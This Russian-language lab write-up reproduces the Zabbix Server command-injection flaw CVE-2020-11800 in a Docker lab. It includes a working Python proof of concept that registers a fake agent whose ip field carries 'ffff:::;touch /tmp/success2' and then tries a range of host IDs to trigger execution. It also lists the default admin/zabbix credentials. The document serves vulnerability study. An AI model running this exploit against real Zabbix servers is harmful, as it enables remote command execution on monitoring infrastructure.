
Эксплойт PoC для CVE-2020-11800 — внедрение команд в Zabbix Server через вредоносную авторегистрацию агента, с доставкой полезной нагрузки на Python и перебором ID хостов.
Разделы, требуемые методическими указаниями, помечены как «(Обязательно)».
В этой среде используется пользовательский Dockerfile, основанный на уязвимом образе Zabbix Server от Vulhub.
FROM vulhub/zabbix:3.0.3-server
Dockerfile собирает локальный образ, используя уязвимую среду Zabbix Server 3.0.3. В процессе сборки дополнительные пакеты или конфигурации не добавлялись.
Уязвимая среда настраивается с помощью Docker Compose.
Среда состоит из четырёх сервисов:
Сервис server собирается локально с использованием Dockerfile:
server:
build: .
image: cve-2020-11800-server
Контейнер MySQL автоматически импортирует SQL-файлы инициализации из каталога src/ с помощью монтирования томов:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Это позволяет загружать схему базы данных и начальные данные Zabbix автоматически при запуске контейнера.
Среда работает по следующей структуре:
[Браузер]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Предоставляет веб-интерфейс управления, доступный через браузер.
Администратор настраивает авторегистрацию и выполняет операции мониторинга через этот интерфейс.
Основной компонент, отвечающий за:
Уязвимость внедрения команд срабатывает внутри этого контейнера.
Выступает в роли отслеживаемого хоста и взаимодействует с Zabbix Server.
Эксплойт использует механизм авторегистрации в процессе регистрации агента.
Хранит конфигурационные данные Zabbix, информацию о хостах и данные мониторинга.
| Сервис | Образ | Версия |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
Среда основана на уязвимом окружении Zabbix 3.0.3, предоставленном Vulhub.
CVE-2020-11800 — это уязвимость внедрения команд в функциональности Active Proxy Trapper Zabbix Server.
Уязвимость существует из-за неполного исправления для CVE-2017-2824. Злоумышленник может обойти оригинальный патч, используя полезную нагрузку в стиле IPv6, и выполнить произвольные команды на Zabbix Server.
Уязвимость срабатывает в процессе авторегистрации, когда сервер обрабатывает информацию о хосте, контролируемую пользователем.
Коренная причина уязвимости — небезопасная обработка пользовательского ввода внутри shell-команд.
Во время выполнения скрипта Zabbix Server использует зарегистрированное значение IP-адреса хоста для формирования команд, например:
ping <host_ip>
В обычных условиях:
ping 127.0.0.1
Однако если злоумышленник регистрирует хост, используя следующую полезную нагрузку:
ffff:::;touch /tmp/success2
то итоговая команда, выполняемая оболочкой, становится:
ping ffff:::;touch /tmp/success2
Поскольку точка с запятой (;) действует как разделитель команд оболочки, она интерпретирует ввод как две отдельные команды:
ping ffff:::
touch /tmp/success2
В результате становится возможным выполнение произвольных команд.
Оригинальный патч для CVE-2017-2824 пытался ограничить вредоносные входные значения.
Однако логика проверки не обрабатывала должным образом ввод в стиле IPv6.
Полезная нагрузка:
ffff:::;touch /tmp/success2
использует префикс, подобный IPv6 (ffff:::), для обхода существующей логики проверки, при этом всё ещё внедряя метасимволы оболочки.
Это позволяет злоумышленникам обойти предыдущий патч и продолжать эксплуатировать уязвимость внедрения команд.
Процесс эксплуатации происходит в следующем порядке:
Злоумышленник
↓
Регистрация поддельного агента
↓
Сохранение вредоносного IP
↓
Выполнение скрипта Zabbix
↓
Формирование shell-команды
↓
Внедрение команды
↓
Выполнение произвольной команды
Сначала злоумышленник отправляет вредоносный запрос авторегистрации, содержащий подделанное поле IP.
После регистрации хоста Zabbix Server выполняет скрипт мониторинга, используя сохранённое значение IP-адреса хоста.
В ходе этого процесса вредоносная нагрузка интерпретируется оболочкой, что приводит к выполнению произвольных команд.
Эксплойт позволяет злоумышленникам выполнять произвольные команды с привилегиями процесса Zabbix Server.
В этой среде успешная эксплуатация создала следующий файл внутри контейнера сервера:
/tmp/success2
Это подтверждает, что внедрённые shell-команды были успешно выполнены.
В реальной среде успешная эксплуатация может позволить злоумышленникам:
Уязвимость особенно опасна, поскольку серверы мониторинга часто имеют доступ к нескольким внутренним системам и компонентам инфраструктуры.
Доказательство концепции (PoC) написано на Python и взаимодействует напрямую с Zabbix Server через TCP-порт 10051.
PoC выполняет следующие действия:
hostid переборомimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
Полезная нагрузка, используемая в этом PoC:
ffff:::;touch /tmp/success2
| Часть | Назначение |
|---|---|
ffff::: | Префикс в стиле IPv6 для обхода проверок |
; | Разделитель команд оболочки |
touch /tmp/success2 | Произвольная команда, выполняемая на сервере |
Полезная нагрузка использует тот факт, что сервер некорректно объединяет управляемые пользователем значения IP в shell-команды.
Полезная нагрузка доставляется через поле ip в процессе авторегистрации.
Первый запрос, отправляемый PoC, пытается зарегистрировать вредоносный хост.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
После регистрации PoC пытается найти валидный hostid.
for i in range(10000, 10500):
PoC перебирает диапазон возможных ID хостов и пытается запустить выполнение скрипта.
Этот шаг необходим, потому что сервер присваивает ID хостов динамически после регистрации.
Следующий запрос запускает выполнение команды:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| Параметр | Описание |
|---|---|
request | Запрос на выполнение скрипта |
scriptid | ID настроенного скрипта Zabbix |
hostid | ID целевого хоста |
В этой среде scriptid:1 соответствует скрипту, связанному с ping, который использует значение IP хоста при выполнении команды.
Zabbix Server внутренне формирует shell-команду, аналогичную:
ping ffff:::;touch /tmp/success2
Оболочка интерпретирует это как:
ping ffff:::
touch /tmp/success2
В результате:
touch успешно выполняетсяПри успешной эксплуатации может появиться следующий вывод:
ping: bad address 'ffff:::'
Это указывает на то, что полезная нагрузка достигла этапа выполнения shell-команды.
Успешная эксплуатация подтверждается, когда внутри контейнера сервера существует следующий файл:
/tmp/success2
Полный процесс эксплуатации приведён ниже:
Запуск Docker-среды
↓
Доступ к веб-интерфейсу Zabbix
↓
Включение авторегистрации
↓
Запуск exploit.py
↓
Регистрация вредоносного хоста
↓
Запуск выполнения скрипта
↓
Внедрение команды
↓
Проверка /tmp/success2
Запустите уязвимую среду с помощью Docker Compose.
docker compose up -d
Проверьте, что все контейнеры работают корректно.
docker compose ps
Среда должна включать следующие контейнеры:
Откройте браузер и перейдите к веб-интерфейсу Zabbix.
http://127.0.0.1:8080
Учётные данные по умолчанию:
Имя пользователя: admin
Пароль: zabbix
Для эксплуатации требуется включить функцию авторегистрации.
Перейдите в:
Configuration → Actions
Измените источник событий на:
Auto registration
Создайте новое действие и настройте следующую операцию:
Operation Type: Add Host
Это позволит автоматически добавлять недавно зарегистрированных агентов на сервер.
Выполните скрипт PoC.
python3 exploit.py 127.0.0.1
PoC отправляет вредоносный запрос авторегистрации и пытается запустить выполнение команд, используя несколько ID хостов.
При успешной эксплуатации может появиться вывод, похожий на следующий:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
Это указывает на то, что полезная нагрузка достигла уязвимого пути выполнения shell-команды.
Зайдите в контейнер Zabbix Server.
docker exec -it cve-2020-11800-server-1 bash
Проверьте, создала ли внедрённая команда целевой файл.
ls -l /tmp/success2
Успешная эксплуатация выдаёт вывод, аналогичный:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
Это подтверждает, что произвольные команды были успешно выполнены внутри контейнера Zabbix Server.
В каталог screenshots/ были включены следующие скриншоты:

